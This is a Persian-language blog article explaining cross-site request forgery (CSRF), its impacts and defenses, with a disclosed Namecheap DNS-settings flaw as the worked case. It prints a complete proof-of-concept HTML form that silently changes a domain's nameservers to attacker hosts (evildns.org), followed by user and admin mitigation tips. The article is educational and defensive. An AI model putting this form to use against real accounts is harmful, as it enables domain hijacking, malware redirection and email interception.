ضعف امنیتی جعل درخواست یا Cross-Site Request Forgery (CSRF) ناشی از عدم بررسی صحیح ارسال کننده درخواست و اجرای درخواست های بدون اعتباره.
این ضعف معمولا منجر می شه به اجرای عملیات ناخواسته از طرف کاربر یا ادمین سایت. هکر با به کار بردن مهندسی اجتماعی (برای مثال تشویق کاربر یا ادمین به باز کردن یک لینک) دستوراتی رو از طرف اونها برای اجرا به سایت می فرسته. دامنه اثرات این درخواست ها می تونه از لو رفتن اطلاعات کاربری، تغییر پسوردها، حذف اطلاعات و کاربرها تا از دست دادن کنترل کامل سایت باشه.
روش های زیادی برای جلوگیری از این ضعف پیشنهاد می شه که بعضی هاش عملا کاربردی نداره. برای مثال گفته می شه درخواست ها رو در قالب شیوه POST ارسال کنید. این روش به راحتی قابل دور زدنه. کافیه که هکر قربانی رو فریب بده که یه فرم رو submit کنه و یا حتی کافیه که جاوا اسکریپت روی مرورگر قربانی فعال باشه و بدون اینکه حتی متوجه بشه یه فرم hidden در سایت هکر، با کمک جاوا اسکریپت ارسال بشه.
شمایی از یک حمله CSRF
برای نمونه می تونیم نمونه زیر رو ببینیم. این مشکل ۶ ماه پیش کشف شده به مدیران سایت گذارش شده، اما بعد از گذشت مدت زیادی، ضعف رو برطرف کردند.
یک کارشناس امنیتی نشون داده سایت Namecheap که یکی از ثبت کننده های معروف دامنه است، در بخش تعیین DNS ضعف CSRF رو داشته.
اثبات:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <html> <body> <form action="https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=targetdomain.org&type=dns" method="POST"> <input type="hidden" name="NSOption" value="custom" /> <input type="hidden" name="customdnstype" value="customdns" /> <input type="hidden" name="NS1" value="ns1.evildns.org" /> <input type="hidden" name="NS2" value="ns2.evildns.org" /> <input type="hidden" name="NS3" value="" /> <input type="hidden" name="NS4" value="" /> <input type="hidden" name="NS5" value="" /> <input type="hidden" name="NS6" value="" /> <input type="hidden" name="NS7" value="" /> <input type="hidden" name="NS8" value="" /> <input type="hidden" name="NS9" value="" /> <input type="hidden" name="NS10" value="" /> <input type="hidden" name="NS11" value="" /> <input type="hidden" name="NS12" value="" /> <input type="hidden" name="NSSUBMIT" value="Save Changes" /> <input type="hidden" name="NS.x" value="NS" /> <input type="hidden" name="Domain" value="targetdomain.org" /> <input type="submit" value="Submit request" /> </form> </body> </html> |
کد بالا در واقع یک فرم HTML است که یک سری درخواست رو با روش POST به آدرس زیر ارسال می کنه:
| https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=targetdomain.org&type=dns |
در متغیرهای ارسالی، targetdomain.org آدرس سایتی است که قراره هک بشه و ns1.evildns.org و ns2.evildns.org آدرس DNS سروری است که در اختیار هکره.
در صورتیکه ادمین سایت Namecheap فریب بخوره و لینک صفحه ای رو که شامل فرم بالاست باز کنه، بدون اینکه متوجه بشه DNS سایت قربانی رو تغییر داده. تغییر DNS می تونه منجر بشه به نمایش هر محتوایی که هکر بخواد به جای محتوای سایت اصلی. هکر می تونه با این کار و انتقال بازدید کننده ها به سروری که بدافزار توزیع می کنه، کامپیوترهای زیادی رو آلوده کنه. می تونه با تغییر DNS و نمایش یک صفحه “تغییر چهره” یک پیغام سیاسی رو نمایش بده، کاری که در مورد برخی دامنه های محلی گوگل چند وقت پیش افتاد. هکر حتی می تونه با تغییر DNS سرور دریافت ایمیل های کاربران یک سایت رو تغییر بده و به همه ایمیل های اونها دسترسی داشته باشه.
ضعف امنیتی CSRF در کنار ضعف امنیتی دیگه ای به نام XSS، که منجر به اجرای کدهای جاوا اسکریپت ناخواسته می شه، ترکیب بسیار خطرناکی رو تشکیل می دهند که می تونه سایت های بزرگی رو به زانو در بیاره.
در این لینک می تونید روش های کاربردی جلوگیری از CSRF رو ببینید. باید دقت کنیم که هر کدوم از این روش ها نقطه های ضعف و قوت خودشون رو دارند.
برای مثال اجبار کاربر به پر کردن کپچا در هر درخواست می تونه اذیت کننده باشه و تجربه کاربری ناخوشایند و در نتیجه کم شدن استفاده رو در پی داشته باشه. یا چک کردن سایت ارجاع دهنده در صورتیکه هک ترکیبی از CSRF و XSS باشه عملا از کار می افته.
همچنین پیشنهادهایی برای کاربرها و مخصوصا ادمین ها وجود داره:
- هنگام خروج از محیط کاربری سایت، Loq Out کنید.
- اجازه ذخیره شدن نام کاربری و پسورد رو به مرورگر ندید و از گزینه “یادآوری” در زمان ورود به سایت استفاده نکنید.
- از مرورگرهای جداگانه برای ورود به سایت های حساس و وبگردی استفاده کنید.
- با استفاده از افزونه های مثل No-Script اجرای کدهای جاوا اسکریپت رو روی مرورگرتون محدود کنید.
- در مرورگری که برای کارهای حساس استفاده می کنید ایمیل ها رو به صورت “متن ساده” بخوانید و html رو غیرفعال کنید.